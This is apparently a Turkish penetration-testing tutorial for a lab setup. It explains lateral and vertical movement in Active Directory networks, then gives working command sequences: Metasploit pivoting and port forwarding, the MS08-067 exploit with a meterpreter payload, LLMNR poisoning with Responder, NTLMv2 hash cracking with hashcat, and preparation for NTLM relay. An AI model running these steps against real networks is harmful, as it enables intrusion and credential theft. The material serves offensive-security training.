Saldırgan, mevcut yetkilerini kullanarak aynı yetki seviyesindeki farklı cihazlara geçer.
Genellikle ağ keşfi ve bilgi toplama ile başlar.
Amaç, kritik sistemlere veya daha fazla kullanıcı hesabına erişim sağlamaktır.
Örnek teknikler:
SMB paylaşımına erişim (ör. Pass-the-Hash).
Uzaktan komut yürütme (ör. PSExec, WMI).
Kimlik bilgisi çalma (ör. Mimikatz kullanımı).
Kullanım Alanları:
Ağın daha geniş bir kısmını kontrol altına almak.
Hassas sistemlere veya veritabanlarına erişim sağlamak.
Örnek Senaryo:
Bir saldırgan, bir kullanıcının kimlik bilgilerini çalar ve bu bilgileri kullanarak başka bir bilgisayara bağlanır.
2. Dikey Hareket (Vertical Movement)
Tanım:
Saldırganın, mevcut sistem veya ağ içindeki yetki seviyesini artırma sürecidir. Amaç, daha fazla erişim yetkisi kazanarak kritik sistemlere veya verilere ulaşmaktır.
Özellikleri:
Kullanıcıdan yöneticiye (privilege escalation) doğru bir ilerleme söz konusudur.
Hedef, daha yüksek yetkili bir hesap veya daha hassas bir sistemdir.
Örnek teknikler:
Privilege Escalation saldırıları.
Güvenlik açıklarının istismarı (ör. CVE'ler).
Yetkili kullanıcı bilgilerini çalma veya taklit etme.
Kullanım Alanları:
Yönetici yetkileri elde etmek.
Hassas sistemlere (ör. Domain Controller) erişim sağlamak.
Örnek Senaryo:
Bir saldırgan, düşük yetkili bir kullanıcı hesabını ele geçirir ve bir güvenlik açığı istismar ederek sistem yöneticisi yetkileri kazanır.
Özellik
Yatay Hareket
Dikey Hareket
Amaç
Ağda daha fazla sisteme erişmek.
Daha yüksek yetki seviyeleri kazanmak.
Hedef
Farklı cihazlar veya kullanıcılar.
Daha yüksek yetkili kullanıcılar.
Başlangış Seviyesi
Genelde mevcut yetki ile çalışır.
Mevcut yetkileri arttırmaya çalışır.
Teknikler
Kimlik bilgisi çalma, ağ keşfi, uzaktan erişim.
Güvenlik açıklarını istismar, yetki yükseltme.
İlişki
Yatay hareket, dikey hareketten önce gerçekleşebilir.
Dikey hareket sonrası yatay harekete devam edilebilir.
Penetrasyon Testlerinde Önemi
Yatay Hareket: Ağın geniş bir kısmını ele geçirerek olası hedef sistemleri belirlemek.
Dikey Hareket: Kritik kaynaklara veya verilere erişmek için daha fazla yetki kazanmak.
Ara bilgi bitiş:
devam edelim:
persistece => [link]
bunu ile kalıcılık sağlaya bilirsiniz. Araştırım deneyin.
AD Ağı Pivoting Aşaması
Bildiğimiz üzere samsun makinesi üzerinde meterprete de ipcofig dersek 10.0.0.10 ip sini göreceğiz
amacimız ise arka tarafta 10.0.0.11 makinesine gitmek
bunun için sessions larda samsun makinesine geçelim
sessions 7
ipconfig
sysinfo
shell
arp -a dediğimizde :
10.0.0.11 00-0c-29-40-2c-47 dynamic
bunu göreceğiz
exit
run autoroute -s 10.0.0.0/24
run autoroute -p
akti olduunu göreceğiz
ve 10.0.0.0 network üne sessions 7 üzerinden gidebiliyoruz
445 portunu port taraması ile açık bulduğumuzu varsayalım
meterprete de
portfwd add -p 445 -l 4445 -r 10.0.0.11
şimdi backround a alalım
search ms08
bu çok eski bir zafiet
exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 10.0.0.11
check
run
sysinfo
ve karşı hedefimize ulaştık :)
LLMNR POISONING VE NTLM RELAY ATAĞI
Henüz bilinmeyen veya yanlış yazılmış bir paylaşıma gitmeye çalıştığımızda network’e bir broadcast yayımı yapar.
Örn: dogukan, dogukan kim, doguka nedere?
Responder aracı bu isteği yakalıyor ve sonrasında sizin ona bir istek yapmanızı sağlıyor
ve parolanın NTLMv2 hash ini yakalamayı hedefliyor.
Responder -I <network arayüzü örn: eth0>
sonra
ADPC sinde ctrl + r
\\dogukan
cd /usr/share/responder/logs
ls
SMB ile başlayan bir dosya var bunu cat ile açın
bunlara yönelik bir brute-force saldırısı yapabilirsiniz
örn:
sudo hashcat -a 3 -m 5600 SMB-NTLMv2-SSP-fe80::7c38:7499:6072:8aa8.txt
gibi
NTLM paketlerini isterseniz relay atakta da kullanabiliriz.
Temelde network üzerinde SMB Signing(smb imzalama) sı disable olanları bulmamız gerek
sudo nmap -p 445 192.168.11.0/24 --script=smb-security-mode -Pn -n -oN smb-signing
cat smb-signing|grep disabled -B 12
ek olarak sadece ipleri ayıklamak istediğimizde
cat smb-signing|grep disabled -B 12|grep Nmap|awk {‘print $5’} > targets
targets dosyasına kaydettik
şimdi bu işlemi yaptıktan sonra
responder da birkaç ayar yapıldıktan sonra impacket-ntlmrelayx de hash dump ları alacaksınız
eğer yetkili bir sessions, hatalı veya ilk defa yaptığı bir istek yakalanırsa oradan hash dump alınır
bu da size challenge olsun.

Yorumlar